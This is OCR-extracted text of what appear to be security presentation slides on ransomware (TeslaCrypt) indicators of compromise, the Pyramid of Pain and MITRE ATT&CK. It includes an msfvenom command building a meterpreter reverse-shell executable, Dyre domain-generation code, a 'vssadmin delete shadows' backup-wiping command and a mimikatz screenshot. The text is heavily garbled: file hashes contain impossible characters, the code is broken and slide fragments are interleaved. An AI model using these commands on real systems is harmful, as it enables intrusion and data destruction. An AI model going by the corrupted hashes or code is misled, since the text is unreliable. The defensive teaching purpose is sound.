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Win.Ransomware.TeslaCrypt-9972505-0 — File Hashes

NETWORK/HOST ARTIFACTS

IP ADDRESSES

> Annoying

:~# msfvenom -h

Error: MsfVenom - a Metasploit standalone payload generator.

Options:

-p, --payload <payload>
--payload-options

-1, --list [type]

-n, --nopsled <length>

-f, --format <format>
--help-formats

-e, --encoder <encoder>

-a, --arch <arch>
--platform <platform>
--help-platforms

-s, --space <length>
--encoder-space <length>

-b, --bad-chars <list>

-i, --iterations <count>

-c, --add-code <path>

-x, --template <path>

-k, --keep

-0, --out <path>

-v, --var-name <name>
--smallest

-h, --hel

He

Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Payload to use. Specify a '-' or stdin to use custom payloads
List the payload's standard options

List a module type. Options are: payloads, encoders, nops, all
Prepend a nopsled of [length] size on to the payload

OQutput format (use --help-formats for a list)

List available formats

The encoder to use

The architecture to use

The platform of the payload

List available platforms

The maximum size of the resulting payload

The maximum size of the encoded payload (defaults to the -s value)
The list of characters to avoid example: '\x00\xff'

The number of times to encode the payload

Specify an additional win32 shellcode file to include

Specify a custom executable file to use as a template

Preserve the template behavior and inject the payload as a new thread
Save the payload

Specify a custom variable name to use for certain output formats
Generate the smallest possible payload

Show this message

FILE HASHES

0aac8016a240dabcabal@d6lab4t4b27b75975d3560407d6ead97308aebst70b%e
13b9d082961d9d0608e87c114af8763094c10142d7394fd57e94e88101780c10
23d40e0777ec7d49883818310a265051ebb6ae97603fdc59ba3e5c6b843fedbd
365d84800d9e8a683770478b21f8ff95af5a5e6c49491a4d29f9770c97¢c6749b
44dc523fce3124abb61430329ec664094d9365bfe5fdf657ca7aeff27674e863
48dd2915d3404e6149f2b0b1c682231311860e103fa98f076cc0603da2b68cdl
4de6675c089aad8a52993bla21afd06dc7086f4ea948755c09a7a8471es fddbd
65bfdfabfea6f8937118db94cbcab36e9ababc5de986c4d8d7c9876f55110bsb
660031fa2a2fbf6ascf24a019da764d0069dd4830c56e647bc59aa0073eb6044
79fd01f7bs7fdfees8983565b9481b91d30bca7cbac9039b0422cd7b82c21e67
7ebfbcad908falee22db686772f716ef9a5bs2ce59e293c81185754be26206be
86eastdf17baba68276d5a13534d0b70482e5b97f0da3013dc757¢79018de1077
893d875bd015aea541453e93f3a2756b31560c3d372a4191b06Fb2f7613903ff
8982563b88cc88b1a28764c5ffb847681b347e7c3f9d811ee917dd97a823afe?
89992094e7c6200e72fOb5be234c82c4dfdfd9679795d2f9ece85af65282ce2e
bb35d6feas828d528dbaac@ab1b269e7124bf42ea61f7125f622c7cc0578e2927
bc3bfOb19db80fde1c7d44609424a6b396558a017be7dab8b27880ba2157fec
cde1f8429bd3a171435825f58d5957a5cc0abl64ec30ca701999afd5c71faf16
fd4ab3f109b5f3c0dffa7842490044218a49e99dd1940c5adboecos2fefeddo?

Exploit
Development!

Payload size: 510 bytes

Saved as: malicous.exe

sha256sum malicous.exe

[:—(kdlii-hall]-[-Ibocunents/temp]
S msfvenom -o windows/x64/meterpreter/reverse_tcp arch x64
No encoder specified, outputting raw payload

-
kali@kali: ~/Documents/temp

File Actions Edit View Help

Final size of exe file: 7168 bytes

[:—(kalif;kall]*{~/Documents/temp1
$

bf90e765e7e497c92617a94e552de6894fa7a3edd89ef50f71f5ad82abc940c9 malicous.exe

windows LHOST=192.168.255.129 LPORT=7777

exe -0 malicous.exe

Talos Threat Details:
IMG:

Payload size: 510 bytes

Saved as: malicous.exe

[:—(hall
$ sha256sum malicous.exe

File Actions Edit View Help

[:—(kalaw’\ali)—[~/Documents/tenpj
S msfvenom -p windows/x64/meterpreter/reverse_tcp —arch x64
No encoder specified, outputting raw payload

kali@kali: ~/Documents/temp

Final size of exe file: 7168 bytes

<ali)-[~/Documents/temp ]

112aa87f79afea505b29d56031a483e77b1ddfb26fec16b9b8df61391b1427a2 malicous.exe

windows LHOST=192.168.255.129 LPORT=7777 -i exe

malicous.exe
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Win.Ransomware.TeslaCrypt-9972505-0 - IPs

Known Malicious IP Address
o—a Annoying 217[.1116[.]1196[.1239
— Fast Flux!

A

Unknown Malicious IP Address

B[.1B[.1B[.]B

IP ADDRESSES CONTACTED BY MALWARE. DOES NOT INDICATE MALICIOUSNESS OCCURRENCES

W . -
217[.1116[.1196[ . 1239 19 y
27[.1254[.133[ . 144 19
23[.]1221[.1227[.1269 13
104[.121[.163[. 174 1
172[.167[.1176[ . 168 8
185[.1230[.163[.1271 7
23[.]1221[.1227[.1265 7
R ° Unknown Malicious IP Address
185[.1230[.]63[.]1107 6 C[ . ]C[ . ]C[ . ]C

Unknown Malicious IP Address

Talos Threat Details: D[.]ID[.]D[.]D
I\ [CR
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Win.Ransomware.TeslaCrypt-9972505-0 - Domains

7

Known Malicious Domain

ladiesdehaan[. ]be .
Domain Generated

Algorithm !

1P ADDRESSES ﬁ

> Unknown Malicious Domain

DOMAIN NAMES CONTACTED BY MALWARE. DOES NOT INDICATE MALICIOUSNESS OCCURRENCES 1 n t e r n e t b a d p e r S 0 n [ ° ] C Om
chonburicoop[. Inet 19
ladiesdehaan[. Jbe 19
actionpourisrael[.]com 19
hnb[ . Inet 19
firecheerleaders[.]fr 19
passlift[.]com 19
apps[.lidentrust[.]com 19
2 from datetime import date Unknown Malicious Domain
j— def dyre_dga(num, date_str=None): 1nternetbadperson1[ . ]Com
5 if None == date_str:
6 date_str = '{@.year}-{@.month}-{@.day} .format(date.today())
; tlds = [".cc”, ".ws®, '.to", '.in’, ".hk', ‘.cn’, ".tk’, ".s0"] ﬁ
9 hash = sha256( {@}{1}" .format({date_str, num)).hexdigest()[3:36]
18 replace_char = chr(@xfFF & ((num % 26) + 97))
1; ~eturn "{@}{1}{2}:443" .format(replace_char, hash, tlds[num % len{tlds}])
1?— todays_domains = [dyre_dga{i) for i in xrange(333}]

Unknown Malicious Domain

Talos Threat Details: internetbadperson2[.]com

IMG:
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Win.Ransomware.TeslaCrypt-9972505-0 — Network Artifacts . Intelligence
‘= (reversed engineered)

L —

Known Malicious Domain

domain[ . ]com Domain Generated
domainl[.]com

domain2[.]com Algorithm !

domain3[.]com S—
IP ADDRESSES 2 o hashlib ha256
3
............ . 4 def dyre date_str-None):
5 if M i
6 ar}-{@.month}-{8.day} " .format(date. today())
7
8 tlds - [".cc’, ".ws', '.to’, '.in’, '.hk', '.en’, .tk', '.so”
9 hash - sha256('{0}{1}".format(date_str, num)).hexdigest()[3:36]
10 eplace_char = chr(@xFF & ((num % 26) + 97))
11
12 cturn '{@}{1}{2}:443".format(replace_char, hash, tlds[num % len(tlds)])
13
14 todays_domains - [dyre_dga(i) for i in xrange(333)]

SHA256: 4de6675c089aad8a52993b1a21afd06dc7086f4ea948755c09a7a8471e4fddbd Adversary Develops
Page Not Found HTML Error Page on Known Malicious Domain Detected. N ew Ma'lwa re w i t h n ew DGA

Score: [ESj Hits: 2

Description

Page Not Found HTML error page was detected on domain known to be malicious. Although the domain is not active and the submitted
sample is not harmful any more, it should be still handled as malicious one.

Trigger

This indicator is friggered when a "Page Not Found' HTML emror page is detected on known malicious domain.
Artifact SHA256 Path
Artifact 2441 2f18a5d927ace 201 345fff353143a082777 118f29cf7 452280 6feB962af2951 |~ mazsys.php

Artifact 2435 32f2fa940d4b4fe]8acal e53a24e5aac29c57bTcoeET8! 71 i mazsys.php Im p roved Doma 1 n Ge n e rated
https://panacea.threatgrid.com/mask/samples/01lab7ala23bbb2fl1a0dc85ac56180cel?region=US A'l go Y j_ t hm !

o datetime impo date
om hashlib fmport sha2sé

1

2

3

4 def dyre dga(num, date str-None):
5 if None == date_str:

e

7

8

date_str - '{@.year}-{@.month}-{@.day}".format(date. today())
tlds , taws’, .to', ".in', LRk, '.on', t.tk’, '.so']
9 hash = sha256("{@}{1}'.fornat(date str, num)).hexdigest()[3:36]
. 10 replace char = chr(8xFF & ((num % 26) - 97))
. 11
Talos Threat Details: 12 cturn '{@}{1}{2}:443' .format(replace char, hash, tlds[num % len(tlds)])

IMG: 14 todays_domains - [dyre_dga(i) for i in xrange(333)]



https://blog.talosintelligence.com/2022/10/threat-roundup-0930-1007.html
https://www.criticalstart.com/threat-detection-and-the-pyramid-of-pain/

Win.Ransomware.TeslaCrypt-9972505-0 — Host Artifacts

IP ADDRESSES

MUTEXES

__Sys_234238233295

OCCURRENCES

19

INDICATORS OF COMPROMISE
« 10Cs collected from dynamic analysis of 19 samples
REGISTRY KEYS

<HKLM>\SOFTWARE \MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM

Value Name: EnablelinkedConnections
<HKCU>\SOFTWARE \XXXSYS

<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E

Value Name: Languagelist

<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\ CURRENTVERSION\ACTION CENTER\CHECKS\{CBE6F269-B90A-
4053-A3BE-499AFCEC98C4} . CHECK. O

Value Name: CheckSetting

<HKCU>\SOFTWARE \XXXSYS
Value Name: ID

<HKCU>\SOFTWARE \MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: lqwqwge-r213

<HKCU>\Software\<random, matching '[A-Z0-91{14,16}'>

<HKCU>\Software\<random, matching '[A-Z0-9]1{14,16}'>

Value Name: data

OCCURRENCES

19

FILES AND OR DIRECTORIES CREATED
%ProgramFiles®%\7-Zip\Lang\mng.txt
%ProgramFiles%\7-Zip\Lang\mng2. txt
%ProgramFiles%\7-Zip\Lang\mr.txt
%ProgramFiles%\7-Zip\Lang\ms.txt
%ProgramFiles%\7-zip\Lang\nb.txt
%ProgramFiles%\7-Zip\Lang\ne.txt
%ProgramFiles%\7-Zip\Lang\nl.txt
%ProgramFiles%\7-Zip\Lang\nn.txt
%ProgramFiles%\7-Zip\Lang\pa-in.tx
%ProgramFiles®%\7-Zip\Lang\pl.txt
%ProgramFiles%\7-Zip\Lang\ps.txt
%ProgramFiles%\7-Zip\Lang\pt-br.tx
%ProgramFiles%\7-Zip\Lang\pt.txt
%ProgramFiles®%\7-Zip\Lang\ro.txt
%ProgramFiles%\7-Zip\Lang\ru.txt
%ProgramFiles%\7-zip\Lang\sa.txt
%ProgramFiles%\7-Zip\Lang\si.txt
%ProgramFiles%\7-Zip\Lang\sk.txt
%ProgramFiles%\7-Zip\Lang\sl.txt

%ProgramFiles%\7-Zip\Lang\sq.txt

t

t

%ProgramFiles%\7-Zip\Lang\sr-spc.txt

OCCURRENCES

Talos Threat Details:
IMG:

%ProgramFiles%\7-Zip\Lang\sr-spl.

=

%ProgramFiles%\7-Zip\Lang\sv.txt
%ProgramFiles%\7-Zip\Lang\ta.txt

%ProgramFiles%\7-zip\Lang\th.txt

*See JSON for more I0Cs

xt

Malware

<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\C
URRENTVERSION\ACTION
CENTER\CHECKS\{C8E6F269-B90A-4053-
A3BE-499AFCEC98C4}.CHECK. 0

‘% 1 important message
X

Disables Windows Action Center!

Malware

Programmatically change
behaviors and/or develop
randomization
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Note, interacting with
vssadmin should require

Win.Ransomware.TeslaCrypt-9972505-0 — Tools ——

System Properties

M a l w are Computer Name Hardware Advanced System Protection Remote
T C ges

System Restore...

Annoying
Protection
On
Off

Simple C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet off

> Co re ngs, manage disk space, Configure.
nts B
IP ADDRESSES
e point right now for the drives that
ction turned on

Create.

HASH VALUES i John
“Remove Local Administrator”

SHA256: 4de6675c089aad8a52993b1a21afd06dc7086f4ea948755c09a7a8471e4fddbd

Ransomware Backup Deletion Detected M
alware
Score: 100 % Hits: 1

Description

Ransomware is a class of malware that encrypis common media file types that are likely imeplaceable to the owner in question. Once files
are encrypted the malware will provide instructions on how to prowvide the attackers a ransom, typically in the form of digital currency, in
onder to decrypt these files. It is also common for variants to delete shadow copies which are the default Windows backup mechanism for
automatic backup generation. This is in order to prevent recovery of the original files from these backups. They also commonly make use
of hidden semvices on the "dark net' through onion networks like Tor which provides anonymity to their command and control
infrastructure. This prevents their servers from being taken down by law enforcement or hosting entities once reported.

Trigger

This indicator is triggered when shadow copies are deleted by the sample in question. Argh I Need another way to

Process Process Name Command Line ImpaCt and force payment!
_ : : Extortion - Need to rewrite

Process 41 vssadmin.exe "CAWndows\System32\wssadmin.exe” delete shadows fall /Quiet

malware to upload personal
data!

Talos Threat Details:
IMG:
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Win.Ransomware.TeslaCrypt-9972505-0 — TTPs

SHA256: 4de6675c089aad8a52993bl1a21afd06dc7086f4ea948755c09a7a8471e4fddbd

Behavioral Indicators

Only show Indicators with Orbital queries

Title 2

Ransomware Backup Deletion Detected

TeslaCrypt 3.1 Ransomware Detected

Generic Ransomware Detected

Generic Ransomware Notes Detected

Large Amount of High Entropy Artifacts Wiitten

Page Not Found HTML Ermor Page on Known Malicious Domain Detected.

Shadow Copy Deletion Detected
Artifact Flagged Malicious by Antivirus Service
File Uploaded To A Domain Flagged By Cisco Umbrella

Process Hollowing Detected

Submitted Sample Alteration and Umbrella Flagged Domain

BCDEdit Used to Disable Boot Recovery
BCDEdit Used to Ignore Boot Failures
Process Created a File in a Recycle Bin Folder O

Process Created a File in Microsoft RSS Feeds Directory C

Process Check Zone Identifier Alternate Data Stream

Submitted Sample Launched Copy and Contacted Flagged Domain

Cisco Umbrella Flagged Domain As A Proxy Or Anonymizer

Categories

ATTECK @

Score

1009

1009

95 @

95 @

95 @

Talos Threat Details:

IMG:
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Win.Ransomware.TeslaCrypt-9972505-0 — TTPs

L —

NETWORK/HOST ARTIFACTS Annoying

IP ADDRESSES

SHA256: 4de6675c089aad8a52993b1a21afd06dc7086f4ea948755c09a7a8471e4fddbd

ATT&CK Descriptions

TeslaCrypt 3.1 Ransomware Detected M"“E| — e
Score: 100 @ Hits: 5

Description Tactic: Impact Q [

TeslaCrypt (and its variant, AlphaCrypt) is a ransomware trojan that encrypts files on the victim L Technique: Data Encrypted for Impact [

system. It extends the range of files ordinarily targeted by ransomware to cover game-related files,

such as those used by online gaming services. Files are encrypted with AES and modified files have B Read Descriptions

an extension added to them. The extension .MP3 is the most common for this version. TeslaCrypt also
actively looks for shadow copies and restore points and destroys them. Once TeslaCrypt is done
encrypting files, it displays a ransom note on the desktop, giving instructions on how to download
TOR to pay the ransom for the decryption key. TeslaCrypt is part of the CryptoWall ransomware family.
Trigger

This indicator is triggered when a sample opens a known mutex and queries known URL patterns.

Tactic: Impact Q_ [}

The adversary is trying to manipulate, interrupt, or destroy your systems and
data.

Impact consists of techniques that adversaries use to disrupt availability or
compromise integrity by manipulating business and operational processes.
Techniques used for impact can include destroying or tampering with data. In
some cases, business processes can look fine, but may have been altered to
benefit the adversaries’ goals. These techniques might be used by adversaries
to follow through on their end goal or to provide cover for a confidentiality
breach.

— Technique: Data Encrypted for Impact []

Adversaries may encrypt data on target systems or on large numbers of
systems in a network to interrupt availability to system and network
resources. They can attempt to render stored data inaccessible by
encrypting files or data on local and remote drives and withholding access to
a decryption key. This may be done in order to extract monetary
compensation from a victim in exchange for decryption or a decryption key
(ransomware) or to render data permanently inaccessible in cases where the
key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)
(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)
(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office
documents, PDFs, images, videos, audio, text, and source code files will be
encrypted (and often renamed and/or tagged with specific file markers).
Adversaries may need to first employ other behaviors, such as File and
Directory Permissions Modification or System Shutdown/Reboot, in order to
unlock and/or gain access to manipulate these files.(Citation: CarbonBlack
Conti July 2020) In some cases, adversaries may encrypt critical system files,
disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

Talos Threat Details:
IMG:

To maximize impact on the target organization, malware designed for
encrypting data may have worm-like features to propagate across a network
by leveraging other attack techniques like Valid Accounts, OS Credential
Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry
2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also
leverage Internal Defacement, such as changing victim wallpapers, or
otherwise intimidate victims by sending ransom notes or other messages to
connected printers (known as "print bombing”).(Citation: NHS Digital Egregor
Nov 2020)

In cloud environments, storage objects within compromised accounts may
also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
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_

L —

IP ADDRESSES

Encrypt
SHA256: 4de6675c089aad8a52993b1a21afd06dc7086f4ea948755c09a7a8471e4fddbd
TeslaCrypt 3.1 Ransomware Detected M"“E| — e
Score: 100 @ Hits: 5
Description Tactic: Impact Q [
TeslaCrypt (and its variant, AlphaCrypt) is a ransomware trojan that encrypts files on the victim L Technique: Data Encrypted for Impact [
system. It extends the range of files ordinarily targeted by ransomware to cover game-related files,
such as those used by online gaming services. Files are encrypted with AES and modified files have B Read Descriptions

an extension added to them. The extension .MP3 is the most common for this version. TeslaCrypt also
actively looks for shadow copies and restore points and destroys them. Once TeslaCrypt is done
encrypting files, it displays a ransom note on the desktop, giving instructions on how to download
TOR to pay the ransom for the decryption key. TeslaCrypt is part of the CryptoWall ransomware family.
Trigger

This indicator is triggered when a sample opens a known mutex and queries known URL patterns.

Talos Threat Details:
IMG:

Malware

Detect behavior that encrypts
files!

Only a few files may be
impacted and can be restored.

Malware

Arghh! Need another way to
impact.

Time to steal credentials -
rewrite malware to include
credential stealing capabilities


https://blog.talosintelligence.com/2022/10/threat-roundup-0930-1007.html
https://www.criticalstart.com/threat-detection-and-the-pyramid-of-pain/

Win.Ransomware.TeslaCrypt-9972505-0 - TTPs

rogue domain controller

rootkit
scripting

signed binary proxy
execution

signed script proxy

execution

template injection
i i

traffic signaling

trusted developer utilities

proxy execution

unused/unsupported
cloud regions

use altenate
authentication material

virtualization/sandbox
evasion

weaken encryption
xsl script processing

evasion

drive-by compromise account manipulation abuse elevation control  abuse elevation control  brute force ; di P 0 object model  archive collected data automated exfiltration account access removal
exploit public-facing bits jobs application window (el distfbraed comBNN oen Enriee data transfer size limits VR PCROCoH e
application component object model access token access token discovery explgitation of remote _ commonly used port _
external remote services aud o or peppce ‘communication through 5
for client bits jobs access internal clipboard data media data manipulation
hardware additions execution DOOT OF 10gON INANZauon _ o e, over c2
D e scripts files forced cloud lateral tool transfer ol: m cloud storage  ¢jy3nne| data encoding
phishing graphical user interface oot or logon ori - discovery e - disk wipe
ication through Ll scripts " 1@ service session ot from configuration data
replication throug| inter-process " e direct volume access . . cloud service dashboard  hijacking L 9 = endpoint denial of service
removable media icati se client create or modify system ———————————— man-in-the-middle — - P Y - - dynamic
[P TP p— oo software binary process execution gt ‘modify cloud service discovery  remote services data from i ST over physical Sncrypted chame) firmware
T e (CTRATA BOCDINE y exploitation for defense  process. domain trust discovery  replication through itori
trusted relationship "} CGled taskfjob - ek g wvasion - removbla fedi exfiltration over web __ fallback channels ! !
e ————————— create or modify system ion for privilege network sniffing |data from local system 0o network denial of service
5 , scripting process lati file and directory PR N T shared webroot ] T —
escalation s i 0s credential dumping —————— data from network shared "_ .y 4o d transfer 5 source hijacking
shared modules event triggered execution group policy =] network service scanning  software deployment drive e  multi-stage channels -
a group policy ste GCEEss tools transfer data to cloud " ication Service stop
software deployment external remote services hijack execution flow token network share discovery data from account T EIoWTITShGoE
_— i medi 3 5) jow
0 hijack flow path i " _ steal or forge kerberos network sniffing RN e Rt i] layer
source T hijack execution flow tickets e —— | Y data staged protocol
yP . password policy discovery Sor roatertel
system services T e impair defenses steal web session cookie = email collection non-standard port
implant container image taskfiob peripheral device =
user SRR SRRIEE lindicator removal onhost | two-factor authentication  discovery input capture protocol tunneling
office Startup | valid accounts interception
windows ath interception permission groups man in the browser L
:re—os = discoverv ‘man-in-the-middle remote access software
Bl Ic_main hijacking : screen capture traffic signaling
7 _ eeRsy y registry video capture _
scheduled task/jol modify authentication remote system discovery
server software
component modify cloud compute - o
Traffic signaling infrastructure et stion
valid accounts modify registry
- Ty
network boundary system network
bridging connections discovery
system owner/user
discovery
pre-os poot system service discovery
process injection system time discovery
redundant access viltuylizaﬁtm/sandbox

Talos Threat Details:

Benefits: Defending at the TTP Level!

* Increases the cost of the adversary to be

successful within an organization.
=

* Providestime-based defense!

* This does not exclude lower-level controls

but adding capabilities at all layers
provides the best chance of success.
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Attack Method 1
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Bitbucket.org

What is MITRE ATT&CK!



Get to know your fear with MITRE ATT&CK'

Who is MITRE Corporation?
- Not-for-profit, US company with multiple federally funded R&D centers (FFRDCs)

- Public-private partnerships in many areas, including cybersecurity

- Same folks who brought us CVE database and CWE Programs

What is ATT&CK"

- Adversarial Tactics, Techniques, and Common Knowledge — Non-Profit Organization
- Bornin 2013 to document tactics, techniques, and procedures (TTPs) that APTs leverage

- Globally-accessible knowledge base that’s community driven

Used for the development of specific threat models & methodologies in the private sector, in government, and in the cybersecurity
product and service community.

- Focuses on the adversarial perspective (who), their goals (why), and the methods (how) used to achieve these goals.
- Where is Att&ck being leveraged?

Red Teaming, Gap Analysis / Assessments, Adversary Emulation

‘tees’ SECURE



What is a Threat?

* An adversary's tooling, skills, * Adversary’s motivations (intent— ¢  Aligns to timing and knowledge
education, supply chain. willingness) to target an of the target

* Ex: develops undisclosed organization *  Vulns
exploits increases their *  Profit, espionage, impact to e Zerodays
capabilities. supply chain, hacktivism e Time of business

—— o okm o ma-
1 v

*  No Control Available * No Control Available * Apply Control to limit the
* Need to understand * Nee.d to ur\derstand opportumty.
the adversarial the intention of the Patching, n.etwork o
adversary segmentation, application

knowledge
control, MFA, etc

el
clsco S EC U RE © 2021 Cisco and/or its affiliates. All rights reserved. 15



The Analogy!

Police informed all other home owners

Robber is portraying to be from * Adversary
6 \ an energy company
1 . GJ ‘ They want to gain access to the * Tactic
inside of your home
a o They will use fake credentials to ¢ Technique

build trust to gain access
E *  Open door based on trust!

* Intruder gains access

2. BPH VN —
; O ) :
a E * Does not open the door
U * Calls police
E *  Open door based on trust!

* Intruder gains access a second
time

@3

‘tees’ SECURE



Value of the Periodic Table

Ccisco

Periodic Table of the Elements

Scandum  Teanum  Vanadwm  Chiomum  Mangnese ko
Do | s | Motwm | wtdesss Romten s et |- rwewn

nlvm-n---nn—-w

Bh Hs Mt Ds R Cn

el e e
R4 fes9)

ey koo

\ | ‘

B = = w:ﬁlldll
One of the most important tool created in chemistry
Describes the atomic properties and every known
chemical element
Its concise and includes atomic numbers, atomic
mass, and relationship between elements
Elements with similar chemical properties arranged in

columns

S E C U RE 2021 Cisco and/or its affiliates. All rights reserved.

1.0073 1.0073

H H

Hydrogen Hydrogen

4 15999

O

Oxygen

-

Molar Mass Calculator
Common Compounds Periodic Elements

Water H20 ~v| | v

Chemical Formula

H20

Element Symbol ~~ Atoms = Mass%
Hydrogen | H 2 1w
Oxygen O 1

-

17



Value of ATT&CK

selecton controls layer controls technigue controls
- = 1A Ay p
8 Q= x B *EA=[2@0 1 x 7z 08
N Resource . " . Privilege . Credential y Lateral . Command and "
Reconnaissance Development Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Control Exfiltration Impact
10 techniques 6 techniques. 9 techniques 10 techniques 18 techniques 12 techniques 37 techniques 15 techniques 25 techniques 9techniques  17techniques  16techniques 9 techniques 13 techniques
Active Scanning quire Drive-by Command and Account Abuse Elevation [ Abuse Elevation Brute Force 1, [I] Account Discovery Application Layer [} Automated Account Access
Infrastructure o | Compromise Scripting Manipulation Control Control Mechanism Protocol Exiltration ., Removal
Gather Victim Host Interpreter ;) Mechanism ., Credentials from [ Application Window
Information ;. Compromise BITS Jobs Access Token Fassword Discovery Audio Capture Data Transfer  Data Destruction
Accounts (,,, Access Token Manipulation (e, Stores ternal Size Limits
Gather Victim Identity Boot or Logon Manipulation ) Browser Bookmark Spearphishing Data Encrypted fc
Information ;.. Compromise ftosts BITS Jobs, Exploitation for  Discovery Exiltration Impact
Infrastructure | External Remote Inter-Process Boot or Logon Credential Lateral Tool Over
Gather Victim Network rvices Communication ., Autostart Access Cloud Infrastructure  Transfer Clipboard Data  Data Alternative Data
Information, D Execution ., Discovery Encoding Protocol ,, [ Manipulation .,
ties ,, | Hardware Native API ation Forced Remote Service il Data from Cloud )
Gather Victim Org Additions Scripts ) ogon Direct Volume Access  Authentication  Cloud Service Session Storage Object  Data Exiltration Defacement .,
Information ;. Establish Scheduled Initalization Dashboard Hijacking Obfuscation .5, M Over C2
Accounts (;, Phishing ;75 TasklJob o5, Browser Scripts ) Domain Policy Data from Channel Disk Wipe ;)
Phishing for Extensions. Modification ., Gredentials ,,,, | Cloud Service Remote Configuration
Information Obtain Shared Modules. Create or Modify Discovery Services Repository ,,, || Resolution [ Exfitration Endpoint Denial o
Capabllities ., Compromise System Execution Input ! ice )
Search Closed & Software Client Software  Process ,,, Guardrails .., Capture ) Domain Trust Discovery Data from Encrypted *
Deployment Tools  Binary. ! . Information Channel ) Firmware
Supply Chain Domain Policy Man-in-the- Repositories ;) Corruption
Search Open Technical Compromise .., system Services ,, ] create Modification Middle Fallback Exiltration
Databases ., Account . Channels Over Physical | Inhibit System
: User Execution ) Event Triggered [ File and Directory Modiy Network Service Software edium ecovery
Search Open Create or Modify il Execution 15, | Permissions Authentication Il Scanning Deployment !
Websites/Domains Windows System Modification ., Process ,,, Tools Data from Exiltration
Cloud Accounts  Management Process ., - Network Share Network Shared Over Web
Search Victim-Owned ————— instrumentation Hide Artfacts ) Discovery Taint Shared  Drive Multi-Stage service
ebsites o Event Triggered Content Resource
1 Local Accounts (T1078.003) Execution ,re) Hijack Execution Networksnifing | Scheduled Hiacking
Hijack Execution [l Flow ., Use Alternate Non-Application  Transfer
External Remote  Flow .. § Password Policy Authentication Layer Protocol Service Stop
Services Impair Defenses Discovery Material 5y || Data Staged Transfer Data
Process Non-Standard o Cloud stem
Hijack Execution [} Ijection ., Indicator Removal on Email Port Account Shutdown/Reboot
Flow . 4 Host ;) Steal or Forge Collection ;)
Scheduled Kerberos Protocol
Implant Container  TasklJob , , Indirect Command Tickets Permission Groups Input Tunneling
Image iscovery ., Capture )
stes e S |
Office Application Masquerading ) Session Cookie Man i the
Startup ) rowser Remote Access
Modify Authentication |} Two-Factor Query Registry Software
Pre-08 Boot ) Process ;) Authentication Man-in-the-
Interception Remote System Viddle i
Scheduled Modify Cloud Compute Discovery Signaling
Taskidob Infrastructure . Unsecured o
: Credentils ., [ Software Discovery ., []] Web Service ;.
Server Software Modify Registry : Video Capture &
Component ;. System Information
! Modify System Discovery
Traffic Image .,
signaling ., ystem Network
Network Boundary Configuration
Bridging .., iscovery

Att&ck organizes adversary behaviours into a series of tactics that drive a
specific objective desired by the adversary

*  ex:reconnaissance, Initial Access, Privilege Escalation — 14 in total
Each tactic supports a number of techniques which is how the adversary
achieves an objective. Includes:

* description of the method used

*  System or platform it applies to

*  Adversary groups the use this technique (if known)
*  Mitigations available, published references

Procedure/ Common Knowledge — highly detailed examples, tools used by
groups, implementation details

]
clsco S EC U RE © 2021 Cisco and/or its affiliates. All rights reserved.

TACTIC: TAOOO4
Privilege Escalation

The adversary is trying to gain higher-level permissions.

TECHNIQUE: T1547

Boot or Logon Autostart
Execution

SUB-TECHNIQUE: T1547.001

Registry Run Keys /
Startup Folder

HEEY_ CUBRENT USER\Software‘\Microscft\Windows\CurrentVersionh\Run
HEEY CURRENT USER‘\Software\Microscft\Windows\CurrentVersion\RunOnce
HEEY LOCAL MACHINE\Scftware\Microsoft\Windows\CurrentVersion\Run

HEREY LOCAL MACHINE\Scftware\Microsoft\Windows\CurrentVersicn\RunOnce
18



ATT&CK' changes our focus

Concentrate on the root of the problem to achieve security enlightenment

TTPs, a.k.a. “The Problem”:

- Good: TTPs are behaviors ingrained in the adversary —
Tough! much harder for them to modify and overcome

- Bad: Behavior defies checking boxes

Annoying
- HARD to tackle = conceptual, prone to false
Challenging positives/negatives without good context

o
»
<

|OCs, a.k.a. “The Symptom”:

Simple

Good: Generally, focus on are easily tracked attributes —
Bad: easily tracked attributes are easily changed -

From David Bianco: https://www.sans.org/tools/the-pyramid-of-pain

The pyramid defines the pain it will cause the adversaries
when you are able to deny those indicators to them
‘tiseoe’ SECURE



https://www.sans.org/tools/the-pyramid-of-pain

What is inside ATT&CK'?

* QOpen-Source CTI

* Blog Entries I I E
* MITRE R&D NGENUITY.

e Community Feeds

Informed
Defense

Nov 04/22

Key platforms:

* Enterprise:
. Windows, macQOS, Linux
. Cloud: laa$, SaaS, 0365,
Google Workspaces, Azure AD
. Containers
. Network

* Mobile: Employed By Implemented Thru
- i0S
«  Android 718 Software
e ICS 135 Groups Applications

Enterprise | Mobile | ICS

o],
clsco S EC U RE 2021 Cisco and/or its affiliates. All rights reserved.

SuoinesilIN €

e STIX/TAXII Feeds
* Navigator Matrix

Open-Source Tools

Note: Enterprise includes PRE: MITRE
ATT&CK® Matrix for Enterprise covering
preparatory techniques. 20



Understand your ATT&CK" Model Relationships
MITRE’s approach simplifies mapping goals to behaviors (a.k.a. TTPs)

M1027
M1026
M1017

Prevents

11003.004

G0064

Uses

Uses kccomphshes
S0002 TA0006

- Detections or Mitigations can happen in Software, Technique, or Tactics

- https://www.mitre.org/publications/technical-papers/mitre-attack-design-and-philosophy
.Iclllslélt;l S EC U RE 2021 Cisco and/or its affiliates. All rights reserved. 21



https://www.mitre.org/publications/technical-papers/mitre-attack-design-and-philosophy

Understand your ATT&CK" Model Relationships
MITRE’s approach simplifies mapping goals to behaviors (a.k.a. TTPs)

TACTIC TAOO6 _

TECHNIQUE: T1003.004

ADVERSARY ey

APT33

]
CIsco

mimikatz 2.H alpha <

Henjamin DE
httpz “blog.genti1lkivi.co

@ ‘ <005

ilege : :debug
Privilege ° K

"mpentilkiwi’
b

View Favorites Help

wbd) release Pilep dB ZE13 342 -HY D

infgent ilkivi . .com 23

18 modules

4 1% Computer
>} HKEY_CLASSES ROOT
> 1 HKEY_CURRENT_USER
4. HKEY_LOCAL MACHINE
